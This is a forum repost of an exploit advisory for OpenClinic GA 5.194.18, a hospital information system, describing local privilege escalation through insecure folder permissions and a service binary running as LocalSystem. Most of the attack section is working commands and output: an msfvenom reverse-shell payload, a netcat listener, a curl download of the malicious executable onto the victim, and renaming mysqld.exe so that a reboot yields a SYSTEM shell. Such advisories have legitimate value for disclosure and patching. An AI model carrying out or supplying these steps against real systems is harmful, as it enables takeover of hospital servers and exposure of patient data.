Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

OpenClinic GA 5.194.18 - Local Privilege Escalation


Recommended Posts

# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation
# Date: 2021-07-24
# Author: Alessandro Salzano
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download
# Version: 5.194.18
# Tested on: Microsoft Windows 10 Enterprise x64

Open Source Integrated Hospital Information Management System.
OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.

Vendor: OpenClinic GA.

Affected version: > 5.194.18

# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:



SERVICE_NAME: OpenClinicHttp
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OpenClinicHttp
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : NT Authority\LocalServic


        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OpenClinicMySQL
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

(2) Folder permissions.
Insecure folders permissions issue:

icacls C:\projects\openclinic
C:\projects\openclinic Everyone:(I)(OI)(CI)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

                                # Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start

3. Download malicious .exe on victim machine
    type on cmd: curl -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
    Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    nt authority\system
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...